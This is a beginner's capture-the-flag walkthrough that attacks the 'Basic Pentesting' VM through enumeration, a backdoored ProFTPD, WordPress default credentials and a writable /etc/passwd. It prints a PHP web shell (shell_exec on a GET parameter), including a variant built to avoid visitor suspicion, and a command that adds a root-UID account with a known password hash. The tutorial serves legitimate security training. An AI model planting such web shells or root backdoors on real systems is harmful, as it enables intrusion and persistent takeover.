CTF: Basic Pentesting (a guide for beginners)

The Basic Pentesting CTF is a very basic beginner’s level CTF, which can be taken in just a few minutes. The remote attack vector on the machine is a  direct way to get root in case you just read and understand the description of the exploit, so anyone reading this may benefit a bit more from the second attack vector I described.   Phase 1: Enumeration The enumeration step is the most important stage of the penetration test process. You should make sure that you made all the discoveries possible about the target host before considering an attack. In this article the process is very simplistic and an attack can be made easily, but in a real-world scenario usually you will want to aim for every piece of information as even the smallest detail can prove valuable at a later stage. Having in mind this is mostly targeted towards the beginner reader, I won’t skip the way to find the VM IP:

An alternative to arp-scan in order to get the VM IP is using the netdiscover tool like this:

netdiscover -r 192.168.1.0/24

The next thing to do is scan the target for any TCP Ports opened:

There are 3 services running and available to the public on the target: a TCP server, an OpenSSH daemon, and an apache web server. An advanced pentester would always see the most obvious vulnerable service due to the experience and past attempts in testing which builds up an instinctive way of recognizing vulnerabilities. However, I’ll go step by step as this is a write-up in the form of an article. So not to miss anything, a UDP scan against the target has to be made as well (As UDP scans take a long time, usually it is best to enumerate the TCP services further while waiting for the scan to complete):

# unicornscan -m U 192.168.1.130:a -v

To enumerate the discovered TCP services on the target, consider the following to-do list:

• Enumerate each service banner in a more direct way, using either curl or nc
• Check for any additional special conditions, for example – in case an ftp server is running on the target, you always have to check whether anonymous ftp logins are allowed.
• Enumerate further the target web server, in case there is one running. Web servers are usually one of the most targeted services, especially in a shared hosts environment.
  • Look for a robots.txt or sitemap.xml file as it may contain interesting infromation about the target’s directory structure
  • Look for any hidden directories (dirb, dirbuster and gobuster are good tools for this)
  • Look for any web applications running, i.e. a GET parameter that could lead to an SQL injection,  a CMS login form left with default credentials, an outdated web application or a custom script accepting unfiltered input
  • Run a vulnerability scan using nmap vulnerability NSE  vulnscript and/or nikto
  • Look for exploits
  • Gather a list of usernames/passwords to have in hand for a brute-force or a “username guess” (as I call it) attack

While enumerating and looking at the target’s TCP services, the UDP scan completed showing just port 53 opened, which is the domain service. The target’s missing a robots.txt and sitemap.xml file, so the next step as described above would be to try to enumerate the target’s directory structure:

By checking the target directory, it seems that it is running a wordpress website:

So the very first thing to do when a content management web application is met, is to check if it was left with default credentials. Common default username/password pairs are:

admin : admin
root : admin
admin :
root :

Depending on the application running, you could make a google search for “wordpress <version> default credentials”, “wordpress <version> default login” etc. A wordpress admin login prompt usually resides within the /wp-admin/ directory. So in this case it’s a straight forward default installation, left with default credentials:

As said earlier, an experienced penetration tester would see the vulnerabilities on this host immediately after the initial scan due to the experience he or she has built up during past scans. In this case, the proftpd daemon is vulnerable to a remote attack and the version of the OpenSSH daemon is vulnerable to remote username enumeration.  To search for exploits in Kali, you could use the searchsploit application: Phase 2: Vulnerability scan (note that an additional step that is not described here is using a vulnerability scan tool like nikto and the nmap vuln NSE script)   In this phase you usually try to find any possible vulnerabilities using the information gathered from your enumeration.

 

So far we have the following information about the target:

• A proFTPd daemon running on TCP Port 21, vulnerable to a remote attack
• An openSSH daemon running on TCP Port 22, vulnerable to username enumeration
• A web application running on the target web server on TCP Port 80, left with default admin credentials

So far this gives us the following attack surface (ordered by level of importance):

• A remote exploit attack against the ProFTPD daemon
• A web application left with attack credentials, which can lead to an RCE (Remote Code Execution) attack
• A username enumeration exploit, which can be used to enumerate a possible username on the target and conduct a brute-force attack or aim as an additional information when combined with another type of attack (this requires some special conditions to be met, which is not always the case

Phase 3: Attack and conqueror During this stage you attack the server, and if everyone goes as expected, you’ll either get a limited shell or direct root access (in case you are lucky). Once again, this is a very basic attack surface targeted to the beginners’ audience, so in this case the process is very simple and straight forward. Before considering the attack, make sure that you read and explore the vulnerability and what the exploit actually does. There are some exploits that would work out of the box, but in most cases you would want to make sure what you are doing, what information is being sent through the socket, and in case anything needs to be modified per the required environment. Understanding the vulnerability and exploitation process is essential to what would make you differ from a script-kiddie just searching for a service exploit, just compile it and run it without looking at it. Have patience, review the enumeration gathered, and make sure you are getting the expected result. In case you are not, try to debug what’s actually going on and look for any differences related to the target environment and any possible requirements that may be described in the exploit. Knowing at least a basic syntax of several programming languages like python, C, and php would be of a great importance and ease of the process. The ProFTPD exploit can be found on the following page: https://www.exploit-db.com/exploits/15662/ The exploit is actually a backdoor, which was placed at the time this particular release of the ProFTPd daemon was released, so someone who managed to get in to their servers just downloaded it, put a backdoor again and uploaded it again. This results in a breach in every machine who downloaded the ProFTPd 1.3.3c version after the backdoor has been placed. An attacker could just connect to the ftp server, issue a command and get a remote shell with root privileges (as usually the ProFTPd daemon is running as root):

As you can see I’ve covered the actual command issued on purpose, so you can go through the exploit code and understand the way it works. If you find this a hard task make sure you go through each line and try to look for anythinig that’s looking suspicious and should not be in an official release. The next thing I’ll demonstrate it how to get a shell using the wordpress installation. Usually when discovering a web application administrative panel, you have to look for a place where code can be edited. In this case that’s the wordpress template editor:

  To turn this vector into an RCE attack, the following code can be injected in the index.php file (or any other file ending in .php, as it has to go through the php interpreter and output the result of a code execution instead of just displaying html):

<?php echo shell_exec($_GET['cmd']); ?>

 

  By just openning the web page any output won’t be seen due to the way the wordpress styles are structured, but looking at the source code shows the following output:

In order to make this neater, the above code can be changed to the following:

if (isset($_GET['cmd'])) {
 echo shell_exec($_GET['cmd']);
 exit;
}

This way only the command output of the command passed via the “cmd” GET variable will be shown, in case it was set, this way keeping the normal web applications’ functions and ensuring they won’t be interrupted to avoid bringing any suspicion by visitors.  

Bringing the RCE into a normal shell After getting this far, the next step would be to bring the webshell into normal remote shell. This can be done in several ways, by either using the msfvenom tool in Kali, download and execute it on the target, or by using any existing tools residing on the box, like nc. In this case I’ll show the most straight-forward way, using nc. The first thing you want to make sure is that you have the necessary tools for this: So there’s a netcat binary on the target server, which can be used to initiate a reverse shell back to us (this seems to be the bsd version of netcan, which is missing the -e command, so we have to use a backpipe): The command that’s used above, as well as other useful, commonly used commands can be found in my personal cheatsheet – look for “netcat backpipe”  

For more information on what  netcat backpipe is and how to initiate a netcat session without the -e option look at the SANS Penetration Testing article Phase 4: Privilege Escalation Privilege escalation is occasionally a complicated process and is out of scope of this article to review it in details. A must read is g0tmi1k‘s Basic Linux Privilege Escalation In this case, the /etc/passwd and the /etc/shadow files are set with insecure permissions – as shown below the /etc/passwd file is writable by anyone, and the /etc/shadow file can be read by any user:  

That’s a very rare privilege escalation vector, but it’s always worth checking it out. It’s actually one of the first things I usually check on my “to do” privilege escalation list.  From this point:

• you can either insert a new privileged user with a blank password or a password of choice. Keep in mind that some systems have blank password accounts disabled.
• you could gather the hashes from the target system and try to brute-force them using hashcat or john the ripper (both tools readily available in Kali)

As we are not able to write into into the /etc/shadow file and the host seems to have blank user passwords disabled, we could add a user with a password of choice into the /etc/passwd file. For compatibility reasons, the Linux system looks for a hash both in /etc/passwd and /etc/shadoow, so in case you add a line containing a password hash into /etc/passwd, the operating system will value it. To generate a password hash, the mkpasswd binary could be used (as the target is configured to use the sha-512 algorithm to store passwords we have to provide it to the mkpasswd command as well):  

You could write the above hash down to have it prepared on hand as a password “123456” to save time in future similar cases. After this, we add a new root user to /etc/passwd using the following commands (make sure you use single quotes when writing the hash to /etc/passwd as otherwise you’ll have to escape some of the characters:

$ echo 'ctf:$6$lI6ZXw6I4H$hLCChwjaeDauNpNAsUGcdFxfuZOc1yyIdsFXHZECK8hja72Q1WInF62dObK4gFBiG0WdawbzI7uZ2sAWSRZX4.:0:0:root:/root:/bin/bash' >> /etc/passwd
 $ tail -n 1 /etc/passwd
 $ tail -n 1 /etc/passwd
 ctf:$6$lI6ZXw6I4H$hLCChwjaeDauNpNAsUGcdFxfuZOc1yyIdsFXHZECK8hja72Q1WInF62dObK4gFBiG0WdawbzI7uZ2sAWSRZX4.:0:0:root:/root:/bin/bash
 $ su ctf
 Password: 123456

# id
 id
 uid=0(root) gid=0(root) groups=0(root)

And that’s a complete control over the system. In a real-world scenario there’s usually a next phase, called (Phase 5:) Post Exploitation phase During this phase, you have to go through all the important directories now that you have full access to the system, containing user configuration files and passwords, or download any web applications residing on the host, run netstat to find any other running services on the host not exposed externally, and download any databases. In a full network penetration test, look for any relations to other hosts on the same network which could be limited to local network access only.